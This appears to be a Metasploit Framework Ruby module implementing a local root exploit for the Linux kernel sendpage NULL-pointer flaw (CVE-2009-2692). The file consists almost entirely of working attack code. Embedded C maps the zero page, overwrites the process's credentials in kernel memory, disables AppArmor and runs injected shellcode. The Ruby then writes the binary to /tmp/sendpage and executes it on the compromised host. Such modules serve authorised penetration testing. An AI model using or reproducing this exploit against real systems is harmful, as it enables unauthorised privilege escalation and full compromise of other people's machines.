## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/linux/priv' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/local/unix' #load 'lib/msf/core/post/file.rb' #load 'lib/msf/core/exploit/local/unix.rb' #load 'lib/msf/core/exploit/local/linux.rb' #load 'lib/msf/core/exploit/local/linux_kernel.rb' class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Common include Msf::Exploit::Local::LinuxKernel include Msf::Exploit::Local::Linux include Msf::Exploit::Local::Unix def initialize(info={}) super( update_info( info, { 'Name' => 'Linux Kernel Sendpage Local Privilege Escalation', 'Description' => %q{ AKA Wunderbar Emporium }, 'License' => MSF_LICENSE, 'Author' => [ 'spender', # wunderbar_emporium.tgz 'rcvalle', # sock_sendpage.c 'egypt' # metasploit module ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'References' => [ [ 'CVE', '2009-2692' ], [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ], [ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ], ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], #[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ], ], 'DefaultTarget' => 0, } )) end def exploit sc = Metasm::ELF.new(@cpu) sc.parse %Q| #define DEBUGGING #define NULL ((void*)0) #ifdef __ELF__ .section ".bss" rwx .section ".text" rwx .entrypoint #endif call main ;push eax call exit | # Set up the same include order as the bionic build system. # See external/source/meterpreter/source/bionic/libc/Jamfile cparser.lexer.include_search_path = [ "external/source/meterpreter/source/bionic/libc/include/", "external/source/meterpreter/source/bionic/libc/private/", "external/source/meterpreter/source/bionic/libc/bionic/", "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/", "external/source/meterpreter/source/bionic/libc/kernel/common/", "external/source/meterpreter/source/bionic/libc/arch-x86/include/", ] cparser.parse(%Q| #define DEBUGGING // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h #ifndef __extension__ #define __extension__ #endif // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h // Doing #if on an undefined macro is fine in GCC, but a parse error in // metasm. #ifndef __STDC__ #define __STDC__ 0 #endif #include #include #include #include #include #include /* OpenBSD's strcmp from string/strcmp.c in bionic */ int strcmp(const char *s1, const char *s2) { while (*s1 == *s2++) if (*s1++ == 0) return (0); return (*(unsigned char *)s1 - *(unsigned char *)--s2); } |) [ "external/source/meterpreter/source/bionic/libc/bionic/__errno.c", "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c", "external/source/meterpreter/source/bionic/libc/stdio/stdio.c", "external/source/meterpreter/source/bionic/libc/unistd/mmap.c", # This parses without any trouble, but actually calling perror() causes # immediate segfaults. #"external/source/meterpreter/source/bionic/libc/unistd/perror.c", # For some ungodly reason, NULL ends up being undefined when parsing this # guy, which of course causes parse errors. #"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c", ].each do |fname| print_status("Parsing c file #{fname}") cparser.parse(File.read(fname), fname) end print_status("Unix socket.h") unix_socket_h(sc) current_task_struct_h(sc) case target.arch.first when ARCH_X86 print_status("syscall wrappers") linux_x86_syscall_wrappers(sc) main = %q^ #ifdef __x86_64__ #define PTR_FMT "0x%016x" #else #define PTR_FMT "0x%08x" #endif #define NULL ((void*)0) #define DOMAINS_STOP -1 const int domains[] = { PF_BLUETOOTH, PF_APPLETALK, PF_IPX, PF_IRDA, PF_X25, PF_AX25, PF_BLUETOOTH, PF_PPPOX, DOMAINS_STOP }; int *apparmor_enabled; int got_ring0 = 0; unsigned long uid, gid; static unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { printf("Unable to obtain symbol listing!\n"); return 0; } } ret = 0; while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { printf(" [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } } fclose(f); return 0; } static void change_cred(void) { unsigned int *task_struct; task_struct = (unsigned int *)current_task_struct(); while (task_struct) { if (task_struct[0] == uid && task_struct[1] == uid && task_struct[2] == uid && task_struct[3] == uid && task_struct[4] == gid && task_struct[5] == gid && task_struct[6] == gid && task_struct[7] == gid) { task_struct[0] = task_struct[1] = task_struct[2] = task_struct[3] = task_struct[4] = task_struct[5] = task_struct[6] = task_struct[7] = 0; break; } task_struct++; } return; } int __attribute__((regparm(3))) own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e) { got_ring0 = 1; if (apparmor_enabled && *apparmor_enabled) { *apparmor_enabled = 0; } change_cred(); return -1; } const char *shellcode = ""; int shellcode_size = 0; int main() { int i = 0; int d; int in_fd, out_fd; char *mapped; char template[] = "/tmp/sendfile.XXXXXX"; int (*func)(); uid = getuid(), gid = getgid(); mapped = mmap(NULL , 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 ); if (mapped == NULL) { printf("Mapped zero page!\n"); } else { exit(1); } // jmp dword near [dword 0x8] mapped[0] = '\xff'; mapped[1] = '\x25'; *(unsigned long *)&mapped[2] = 8; *(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel; for (i = 0; i < 16; i++) { printf("\\\\x%02x", (unsigned char)mapped[i]); } printf("\n"); for (d = 0; domains[d] != DOMAINS_STOP; d++) { //printf("Next domain ... "); out_fd = socket(domains[d], SOCK_DGRAM, 0); if (out_fd > 0) { printf("Got domain[%d]\n", d); break; } if (out_fd < 0) { printf("out_fd: %d, Errno: %d\n", out_fd, errno); exit(1); } } unlink(template); // Couldn't get mkstemp to work, just use open(2) for now in_fd = open(template, O_CREAT | O_RDWR, 0777); printf("Opened temp file: %d\n", in_fd); unlink(template); printf("Calling ftruncate\n"); ftruncate(in_fd, 4096); printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0); printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096); sendfile(out_fd, in_fd, NULL, 4096); printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0); printf("UID: %d GID: %d\n", getuid(), getgid()); func = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 ); mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC); // weaksauce memcpy so we don't have to #include printf("Copying %d bytes of shellcode\n", shellcode_size); for (i = 0; i < shellcode_size; i++) { (char)func[i] = (char)shellcode[i]; } printf("Calling shellcode: 0x%p\n", func); //sigtrap(); func(); return got_ring0; } ^ main.gsub!(/shellcode =/) do # split the payload into 16-byte chunks and dump it out as a # hex-escaped C string %Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"| end main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") cparser.parse(main, "main.c") asm = cpu.new_ccompiler(cparser, sc).compile sc.parse asm end sc.assemble begin if sc.kind_of? Metasm::ELF elf = sc.encode_string else foo = sc.encode_string elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo) end rescue print_error "Metasm Encoding failed: #{$!}" elog "Metasm Encoding failed: #{$!.class} : #{$!}" elog "Call stack:\n#{$!.backtrace.join("\n")}" return end #puts Rex::Text.to_hex_dump(foo) File.open("payload.bin", "wb") {|fd| fd.write elf } print_status "Writing exploit executable (#{elf.length} bytes)" cmd_exec("rm /tmp/sendpage") write_file("/tmp/sendpage", elf) output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage") output.each_line { |line| print_debug line.chomp } #cmd_exec("rm /tmp/sendpage") end end